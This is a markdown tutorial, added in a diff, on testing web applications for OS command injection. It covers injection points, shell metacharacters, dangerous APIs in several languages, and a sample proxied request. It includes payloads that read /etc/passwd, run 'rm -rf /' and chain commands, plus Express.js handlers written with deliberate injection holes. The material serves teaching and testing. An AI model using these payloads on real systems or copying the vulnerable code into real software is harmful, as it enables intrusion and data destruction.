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+# Command Injection
+OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.
+
+### Identify and assess the command injection points:
+* Web Forms
+* URL Parameters
+* Search Fields
+* File Upload Inputs
+* Backup and Restore Scripts
+* User Management Scripts
+
+
+When viewing a file in a web application, the filename is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol `|` onto the end of the filename.
+
+**Example URL before alteration:**
+
+`http://sensitive/cgi-bin/userData.pl?doc=user1.txt`
+
+**Example URL modified:**
+
+`http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|`
+
+This will execute the command `/bin/ls`.
+
+Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. `%3B` is URL encoded and decodes to semicolon
+
+`http://sensitive/something.php?dir=%3Bcat%20/etc/passwd`
+
+-----
+
+### Special Characters for Command Injection
+The following special character can be used for command injection such as `|` `;` `&` `$` `>` `<` `'` `!`
+
+* `cmd1|cmd2` : Uses of `|` will make command 2 to be executed whether command 1 execution is successful or not.
+* `cmd1;cmd2` : Uses of `;` will make command 2 to be executed whether command 1 execution is successful or not.
+* `cmd1||cmd2` : Command 2 will only be executed if command 1 execution fails.
+* `cmd1&&cmd2` : Command 2 will only be executed if command 1 execution succeeds.
+* `$(cmd)` : For example, `echo $(whoami)` or `$(touch test.sh; echo 'ls' > test.sh)`
+* `cmd` : It’s used to execute a specific command. For example, `whoami`
+* `>(cmd)` : `>(ls)`
+* `<(cmd)` : `<(ls)`
+
+### Code Review Dangerous API
+Be aware of the uses of following API as it may introduce the command injection risks.
+
+**Java**
+
+    Runtime.exec()
+
+**C/C++**
+
+    system
+    exec
+    ShellExecute
+
+**Python**
+
+    exec
+    eval
+    os.system
+    os.popen
+    subprocess.popen
+    subprocess.call
+
+**PHP**
+
+    system
+    shell_exec
+    exec
+    proc_open
+    eval
+
+-----
+
+### Example: Display the content of a file using the file name received from the URL
+
+```javascript
+const express = require('express');
+const { exec } = require('child_process');
+const app = express();
+
+app.get('/viewfile', (req, res) => {
+    const filename = req.query.file;
+    exec(`cat ${filename}`, (err, stdout, stderr) => {
+        if (err) {
+            res.send(`Error: ${stderr}`);
+            return;
+        }
+        res.send(`<pre>${stdout}</pre>`);
+    });
+});
+
+app.listen(3000, () => {
+    console.log('Server running on port 3000');
+});
+
+```
+* **Injection point => URL**
+  
+`http://localhost:3000/viewfile?file=filename`
+
+If the attacker instead of **Filename**, a destructive amount like `rm -rf / ;` Enter, the malicious order is executed.
+
+### Example: Run Search in Files using the form input from the user
+
+```javascript
+const express = require('express');
+const { exec } = require('child_process');
+const app = express();
+
+app.use(express.urlencoded({ extended: true }));
+
+app.post('/search', (req, res) => {
+    const searchTerm = req.body.search;
+    exec(`grep '${searchTerm}' /var/www/files/*`, (err, stdout, stderr) => {
+        if (err) {
+            res.send(`Error: ${stderr}`);
+            return;
+        }
+        res.send(`<pre>${stdout}</pre>`);
+    });
+});
+
+app.listen(3000, () => {
+    console.log('Server running on port 3000');
+});
+
+```
+* **Injection point => HTML Form**
+
+If the attacker in the **search field** is a destructive amount like `rm -rf / ;` Enter, the malicious order is executed.
+
+```html
+<form action="/search" method="post">
+    <input type="text" name="search" placeholder="Enter search term">
+    <button type="submit">Search</button>
+</form>
+
+```
+
+### Example:
+Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up a personal proxy (such as ZAP or Burp Suite), you can obtain a POST HTTP like the following (`http://www.example.com/public/doc`):
+
+```html
+POST /public/doc HTTP/1.1
+Host: www.example.com
+[...]
+Referer: http://127.0.0.1/WebGoat/attack?Screen=20
+Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
+Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
+Content-Type: application/x-www-form-urlencoded
+Content-length: 33
+
+Doc=Doc1.pdf
+```
+In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following (`http://www.example.com/public/doc`):
+
+```html
+POST /public/doc HTTP/1.1
+Host: www.example.com
+[...]
+Referer: http://127.0.0.1/WebGoat/attack?Screen=20
+Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
+Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
+Content-Type: application/x-www-form-urlencoded
+Content-length: 33
+
+Doc=Doc1.pdf+|+Dir c:\
+```
+If the application doesn’t validate the request, we can obtain the following result:
+
+```html
+Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
+    Output...
+    Il volume nell'unità C non ha etichetta.
+    Numero di serie Del volume: 8E3F-4B61
+    Directory of c:\
+     18/10/2006 00:27 2,675 Dir_Prog.txt
+     18/10/2006 00:28 3,887 Dir_ProgFile.txt
+     16/11/2006 10:43
+        Doc
+        11/11/2006 17:25
+           Documents and Settings
+           25/10/2006 03:11
+              I386
+              14/11/2006 18:51
+             h4ck3r
+             30/09/2005 21:40 25,934
+```
+In this case, we have successfully performed an **OS injection** attack.
+
+
+-----
+
+### Manual Test
+* Bug Hunters Injecting specific characters (such as `;`, `&&`, `||`, `|`, `&`) at different program inputs, they check whether the operating system commands can be injected.
+
+**Example:**
+
+In the search form, instead of entering the ordinary text, inputs like `test; ls` or `test && whoami` and check if these commands are executed.
+
+**Note:**
+
+Examine unexpected responses from the server that may indicate the execution of the injected commands.
+
+* **Using known Payloads**
+
+Injection of values ​​such as `$(Whoami)` or `${7*7}` in input parameters.
+
+
+
+
+
+
+